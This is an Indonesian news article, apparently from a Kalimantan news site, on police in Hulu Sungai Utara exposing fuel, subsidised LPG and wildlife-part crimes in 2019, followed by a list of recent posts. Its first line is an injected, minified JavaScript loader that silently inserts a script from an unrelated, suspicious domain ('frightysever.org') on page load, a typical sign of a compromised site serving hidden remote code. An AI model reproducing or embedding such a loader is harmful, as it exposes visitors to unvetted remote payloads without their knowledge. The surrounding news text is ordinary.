(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Polres HSU Ungkap Pidana Terkait Kasus BBM dan Elpiji 3 Kg


AMUNTAI, Dalam beberapa bulan saja Polres Hulu Sungai Utara (HSU) berhasil mengungkap beberapa kasus di antaranya tindak pidana pelanggaran undang-undang minyak dan gas serta kasus konservasi sumber daya alam serta lainnya.

Hal tersebut disampaikan Kapolres HSU AKBP Ahmad Arif Sofian SIk saat menggelar press release tindak pidana konservasi sumber daya alam hayati dan eksosistem serta tindak pidana minyak dan gas bumi tahun 2019, di halaman Mapolres, Senin (4/3).

Adapun tindak pidana yang diungkap sejak Januari 2019 ada beberapa kasus, di antaranya tindak pidana pelanggaran undang-undang minyak dan gas dengan barang bukti BBM 700 liter, dan premium 200 liter. Kasus perlindungan konsumen dengan barang bukti 250 buat tabung LPG 3 kg dan isi 49 tabung LPG serta kasus konservasi sumber daya alam hayati berupa kulit, tengkorak, tanduk dan tulang satwa yang saat ini disita pihak Polres HSU.

Lebih lanjut, Kapolres Arif mengungkapkan, selama awal tahun 2019 ini pihaknya mengungkap beberapa kasus seperti tindak pidana gas dan minyak yang dinilai merugikan masyarakat. Adapun modus yang digunakan dalam tindak pidana khususnya gas elpiji 3 kg diduga akan dijual lagi ke luar daerah, sehingga berakibat terjadinya kelangkaan.

“Untuk gas elpiji 3 kg ini dijual lagi ke luar daerah. Dan ini merugikan bagi masyarakat HSU sendiri,” ungkap Arif.

Dirinya menilai tindak pidana pelanggaran terhadap undang-undang tentang minyak dan gas ini cukup marak. “Karena setelah ada pelaku ditangkap, beberapa hari kemudian ada lagi pelaku lainnya yang ditangkap,” lanjutnya

Selanin itu, Kapolres juga mengimbau kepada masyarakat agar tidak melakukan perbuatan yang melanggar hukum seperti kasus yang ditangani tersebut. “Hal seperti ini bukan hal biasa. Akan tetapi melanggar undang-undang. Oleh karena itu kami dari Polres HSU terus berupaya memaksimalkan subsidi-subsidi dari pemerintah,” pungkasnya.

Menanggapi hal tersebut, Bupati HSU H Abdul Wahid HK yang hadir dalam press release tersebut mengapresiasi apa yang sudah dilakukan Polres. Bupati juga mengimbau agar masyarakat tidak terlibat dalam segala hal yang melanggar hukum. “Kami berharap agar masyarakat dalam menjalankan usaha agar sesuai dengan peraturan supaya terhindar dari masalah hukum, apalagi usaha minyak dan gas,” pesan Bupati Wahid. (dew)

Reporter : Dew
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.